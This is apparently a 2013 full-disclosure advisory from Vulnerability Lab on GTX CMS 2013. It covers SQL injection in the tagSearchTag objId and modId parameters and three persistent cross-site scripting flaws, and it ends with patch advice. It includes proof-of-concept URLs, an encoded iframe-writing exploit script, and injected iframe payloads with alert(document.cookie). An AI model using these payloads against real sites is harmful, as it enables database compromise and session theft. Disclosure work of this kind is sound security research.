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Subject: [Full-disclosure] GTX CMS 2013 Optima - Multiple Web Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2013-10-29 14:05:53
Message-ID: 526FC0C1.8080203 () vulnerability-lab ! com
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Document Title:
===============
GTX CMS 2013 Optima - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1124
Release Date:
=============
2013-10-29
Vulnerability Laboratory ID (VL-ID):
====================================
1124
Common Vulnerability Scoring System:
====================================
7.2
Product & Service Introduction:
===============================
We provide you with the perfect community GTX CMS software solution - making it ready to meet \
your needs and requirements and tailored to your corporate design! The complete setup of your \
individual interactive community portal or your website is done by us, so you can get started \
right away!
GTX CMS is extremely flexible and can be operated as a closed community (eg parallel to your \
existing website) and as a normal website with a closed member.Datails, refer to the section \
`About GTX CMS`.
(Copy of the Vendor Homepage: http://www.gtx-cms.de/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the \
official GTX Content Management System 2013 web application.
Vulnerability Disclosure Timeline:
==================================
2013-10-29: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
OBM-Media e.K.
Product: GTX CMS - Web Application Basic, Standard and Optima
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
Multiple remote sql injection web vulnerabilities are detected in the official GTX Content \
Management System 2013 web application. The vulnerability allows remote attackers to \
unauthorized inject own sql commands to compromise the web-application or the web-server dbms.
The sql injection vulnerabilities are located in the vulnerable `objId` and `modId` values of \
the tagSearchTag module. Remote attackers are able to inject own sql commands via GET method \
request to compromise the database management system or cms web-application. The inject can be \
done by usage of the executable ajax path via GET method request or by usage of the objId in \
the tagSearchTag module POST method request. The severity of the remote sql injection bugs is \
estimated as high.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a \
low privileged web-application user account. Successful exploitation of the remote sql \
injection bug results in database management system and cms or web-application compromise.
Vulnerable Module(s):
[+] ajax
Vulnerable File(s):
[+] tagSearchTag
Vulnerable Parameter(s):
[+] objId
[+] modId
1.2
Multiple persistent input validation web vulnerabilities are detected in the official GTX \
Content Management System 2013 web application. The web vulnerability allows remote attackers \
to inject via POST method own malicious script codes to the online service application-side.
The first persistent input validation web vulnerability is located in the ajax `tag-searchTag` \
module and the connected vulnerable q parameter. Remote attackers are able to inject own \
malicious script codes as tag name. The execute occurs in the main communication module when \
an user/admin is processing to review the article or comments. Exploitation of the \
vulnerability requires a low privileged web-application user account and only low user \
interaction (view, no click!).
The secound persistent web vulnerability is located in the `linkverzeichnis` (link-directory) \
add module. Remote attackers are able to inject own malicious script codes as \
`Schlüsselworter` (keywords) in the search. The execute occurs in the main link directory \
module of the web-application. Exploitation of the vulnerability requires a low privileged \
web-application user account and low or medium user interaction (click!).
The third persistent web vulnerability is located in the `Ordnerverwaltung` (Folder/Path \
Management) module. Remote attackers are able to manipulate the vulnerable `ordner` name value \
in the add POST method request. The execute occurs in the main path of the `persoenliche \
nachrichten` (private messages) module in the cms control panel. Exploitation of the \
vulnerability requires a low privileged web-application user account and medium user \
interaction (add+click!).
Successful exploitation of the remote vulnerabilities lead to persistent session hijacking \
(customers), account steal via persistent web attacks, persistent phishing, persistent \
redirect to external sources, persistent redirect as file downloads or persistent manipulation \
of affected and connected context.
Vulnerable Module(s):
[+] ajax/tagSearchTag
[+] suche/linkverzeichnis
[+] pers-nachrichten/ordnerverwaltung
Vulnerable Input(s):
[+] Tags
[+] Suche - Linkverzeichnis > Schlüsselwörter - Suchbegriff(e) & Entfernung von
[+] Orderverwaltung - Add
Vulnerable Parameter(s):
[+] q
[+] keywords
[+] ordner
Proof of Concept (PoC):
=======================
1.1
The sql injection web vulnerabilities can be exploited by remote attackers with low privileged \
web application user account and without user interaction. For demonstration or to reproduce \
...
PoC:
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=[TAG(x)]&modId=ptd&objId=37_%20'null[SQL \
INJECTION VULNErABILITY!]-- \
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=[TAG(x)]&modId=ptd%20'null[SQL INJECTION \
VULNErABILITY!]--&objId=3
Exploit:
<script type=``text/javascript``>document.write(unescape(``<script type=\``text\/javascript\
``>document.write\(unescape\(\``%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EGTX%20CMS%20-
%20SQL%20INJECTION%20EXPLOIT%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//gtx.localhost
%3A8080/Ajax/tagSearchTag%3Fq%3D%5BTAG%28x%29%5D%26modId%3Dptd%26objId%3D37_%2520%27null
%5BSQL%20INJECTION%20VULNErABILITY%21%5D--%20width%3D%22800%22%20height%3D%22800%22%3E%0A%3C
iframe%20src%3Dhttp%3A//gtx.localhost%3A8080/Ajax/tagSearchTag%3Fq%3D%5BTAG%28x%29%5D%26modId
%3Dptd%2520%27null%5BSQL%20INJECTION%20VULNErABILITY%21%5D--%20width%3D%22800%22%20height%3D
%22800%22%3E%26objId%3Dx%0A%3C/body%3E%3C/head%3E%0A%3C/html%3E%0A%0A\``\)\);<\/script>``));</script>
1.2
The persistent input validation web vulnerabilities can be exploited by remote attackers with \
low privileged web application user accounts and low user interaction. For demonstration or to \
reproduce ...
1.2.1
PoC: Tags in Article or News
<div class=``right``>
<div id=``tagTagsWidget``>
<ul class=``as-selections`` id=``as-selections-049``><li class=``as-selection-item blur``
id=``as-selection-002``><a class=``as-close``>×</a>>``<iframe src=``GTX-CMS.de%20%20Mitglieder-
Communities%20f%C3%BCr%20Golfclubs,%20Tennisclubs,%20Vereine,%20Verb%C3%A4nde%20etc.%20-%20auch%20als%20Intranet-CMS%20bestens%20
geeignet%20%C2%BB%20Linkverzeichnis%20%C2%BB%20Link%20hinzuf%C3%BCgen_files/a.htm``></iframe></li><li \
class=``as-original`` id=``as-original-049``><input autocomplete=``off`` name=``tags`` \
id=``as-input-049`` class=``text as-input`` type=``text``> <input value=``>``<iframe src=a> \
>``<iframe src=a>>``<iframe src=a> >``<iframe src=a>>`` <iframe src=a> >``<iframe \
> src=a>>``<iframe src=a> >``<iframe src=a>>``<iframe src=a> >``<iframe src=a>,>``
<iframe src=http://vuln-lab.com>,`` class=``as-values`` name=``as_values_049`` \
id=``as-values-049`` type=``hidden``></li></ul> <div style=``display: none;`` \
class=``as-results`` id=``as-results-049``></div> </div>
Inject: Tags
http://gtx-cms.localhost:8080/linkverzeichnis/hinzufuegen
PoC (PATH):
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Da%3E%20%3E%22%3Ciframe%20src%3Da%3E&modId=ptd&objId=null
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Da%3E%20%3E%22%3Ciframe%20src%3Da%3E%20&modId=ptd&objId=null
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Dhttp%3Avuln-lab.com%3E&modId=ptd&objId=null
1.2.2
PoC: Suchbegriff(e) & Entfernung von
<div class=``box``>
<div class=``formItems``>
<div class=``item row1``>
<div class=``left``>
Schlüsselwörter</div><div class=``right``>>``<iframe \
src=``GTX-CMS.de%20%20Mitglieder-Communities%20f%C3%BCr%20Golfclubs, \
%20Tennisclubs,%20Vereine,%20Verb%C3%A4nde%20etc.%20-%20auch%20als%20Intranet-CMS%20bestens%20geeignet%20%C2%BB%20Suche%20%C2%BB%20
Linkverzeichnis%20%C2%BB%20Ergebnisse2_files/a.htm`` onload=``alert(document.cookie)`` <=```` \
div=````> </div>
</div>
</div>
Inject: Suchbegriff(e) & Entfernung von
http://gtx-cms.localhost:8080/linkverzeichnis/hinzufuegen
Output:
Suche - Linkverzeichnis > Schlüsselwörter
http://gtx-cms.localhost:8080/suche/linkverzeichnis
1.2.3
PoC: Ordnerverwaltung - Ordner Name
<li class=``seperator``></li>
<!-- Users folders -->
<li><a class=``icon`` \
href=``/pers-nachrichten/ordner/iframe-srchttpvuln-labcom-onloadalertdocumentcookie- \
iframe-srchttpvuln-labcom-onloadalertdocumentcookie-_1``> <img \
src=``images/icons/Sophistique/files_24.png`` alt=``Ordner``> <span>>``<iframe \
src=``http://vuln-lab.com`` onload=``alert(document.cookie)`` <=`` %20%20.``>``<iframe \
src=http://vuln-lab.com onload=alert(document.cookie) < (0)</span> </a></li>
Inject: OrderVerwaltung Add
http://gtx-cms.localhost:8080/pers-nachrichten/ordnerverwaltung
Output: Persönliche Nachrichten
http://gtx-cms.localhost:8080/pers-nachrichten
http://gtx-cms.localhost:8080/pers-nachrichten/ordnerverwaltung
Solution - Fix & Patch:
=======================
1.1
The sql injection web vulnerabilities can be patched by a secure parse and encode of the \
vulnerable `modId` and `objId` values in the tag search module.
1.2
The persistent input validation web vulnerabilities can be patched by a secure parse and encode \
of the vulnerable ordner name, q and keyword parameters.
Encode the output index of the ordner name in the private messages box and connected resources.
Parse the tag search error output to prevent script code executions.
Security Risk:
==============
1.1
The security risk of the remote sql injection web vulnerabilities are estimated as high(+).
1.2
The security risk of the persistent input validation web vulnerabilities are estimated as \
medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
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